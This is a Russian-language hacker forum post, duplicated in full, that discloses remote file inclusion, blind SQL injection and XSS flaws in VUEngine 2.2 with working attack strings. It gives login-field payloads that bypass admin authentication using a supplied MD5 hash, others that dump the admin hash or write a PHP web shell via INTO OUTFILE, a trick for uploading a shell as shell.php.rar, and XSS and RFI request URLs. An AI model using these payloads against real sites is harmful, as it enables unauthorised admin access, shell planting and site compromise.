Spyder
13.04.2009, 22:36
VUEngine 2.2 Multiple Vulnirables
1) Remote File Inclusion
Файл: export.php
<?
require("config.php");
require($path."php/class.php");
http://localhost/vu/export.php?path={RFI}?
2) Blind SQL-Injection
Needed: magic_quotes_gpc=off
Файл: /admin/login.php
if (@$gardemarin)
{
$res = $site->sql_query("SELECT * FROM ".$prefix."users WHERE user = '$log_name'");
if (!$res)
{
die ("Имя или пароль неверны");
}
$myrow=mysql_fetch_array($res);
if (md5(@$log_pasw) != $myrow["pass"])
{
die ("Имя или пароль неверны");
}
$type = $myrow["type"];
}
Уязвимость в переменной $log_name
I) Есть возможность обойти авторизацию
в поле логин пишем
blabla' union select 'admin','1e9b5660ab6ac33664aec0eb59566fd0','2
в поле пароль пишем пасс, хеш которого написали в поле логин, т.е есть возможность залогинится в админке с любым пасом, зная только логин админа
II) Ну соответсвенно при наличие file_priv и папки на запись можно узнать хеш админа
в поле логин пишем
admin' into outfile '/tmp/xek.txt
пароль любой
или залить шелл
admin' union select 0xshellcode,2,3 into outfile '/tmp/shell.php
Обращаю внимание что во всех случаях в конце кавычку ставить не надо, её подставит сам скрипт =)
В админке шелл льётся через загрузку архивов, грузим shell.php.rar, при удачном раскладе апач обработает файл как php-скрипт
3) XSS
Файл: export.php
if ($border ==1)
{
echo "document.writeln('<table border=1 bgcolor=$bgcolor bordercolor=$bcolor> <tr> <td>');\n";
}
else
{
echo "document.writeln('<table border=0 bgcolor=$bgcolor> <tr> <td>');\n";
}
echo "document.writeln('<font color=$txtcolor>');\n";
http://localhost/vu/export.php?border=1&bcolor=">{XSS}
http://localhost/vu/export.php?bgcolor=</tr>{XSS}
http://localhost/vu/export.php?txtcolor=">{XSS}
Файл: /admin/mod.php
Файл: /admin/full.php
Файл: /admin/author.php
Код не привожу. Массивы $lnk и $ltxt подвержены xss
Пара примеров
http://localhost/vu/admin/mod.php?ltxt[1]={XSS}
http://localhost/vu/admin/mod.php?lnk[16]={XSS}
1) Remote File Inclusion
Файл: export.php
<?
require("config.php");
require($path."php/class.php");
http://localhost/vu/export.php?path={RFI}?
2) Blind SQL-Injection
Needed: magic_quotes_gpc=off
Файл: /admin/login.php
if (@$gardemarin)
{
$res = $site->sql_query("SELECT * FROM ".$prefix."users WHERE user = '$log_name'");
if (!$res)
{
die ("Имя или пароль неверны");
}
$myrow=mysql_fetch_array($res);
if (md5(@$log_pasw) != $myrow["pass"])
{
die ("Имя или пароль неверны");
}
$type = $myrow["type"];
}
Уязвимость в переменной $log_name
I) Есть возможность обойти авторизацию
в поле логин пишем
blabla' union select 'admin','1e9b5660ab6ac33664aec0eb59566fd0','2
в поле пароль пишем пасс, хеш которого написали в поле логин, т.е есть возможность залогинится в админке с любым пасом, зная только логин админа
II) Ну соответсвенно при наличие file_priv и папки на запись можно узнать хеш админа
в поле логин пишем
admin' into outfile '/tmp/xek.txt
пароль любой
или залить шелл
admin' union select 0xshellcode,2,3 into outfile '/tmp/shell.php
Обращаю внимание что во всех случаях в конце кавычку ставить не надо, её подставит сам скрипт =)
В админке шелл льётся через загрузку архивов, грузим shell.php.rar, при удачном раскладе апач обработает файл как php-скрипт
3) XSS
Файл: export.php
if ($border ==1)
{
echo "document.writeln('<table border=1 bgcolor=$bgcolor bordercolor=$bcolor> <tr> <td>');\n";
}
else
{
echo "document.writeln('<table border=0 bgcolor=$bgcolor> <tr> <td>');\n";
}
echo "document.writeln('<font color=$txtcolor>');\n";
http://localhost/vu/export.php?border=1&bcolor=">{XSS}
http://localhost/vu/export.php?bgcolor=</tr>{XSS}
http://localhost/vu/export.php?txtcolor=">{XSS}
Файл: /admin/mod.php
Файл: /admin/full.php
Файл: /admin/author.php
Код не привожу. Массивы $lnk и $ltxt подвержены xss
Пара примеров
http://localhost/vu/admin/mod.php?ltxt[1]={XSS}
http://localhost/vu/admin/mod.php?lnk[16]={XSS}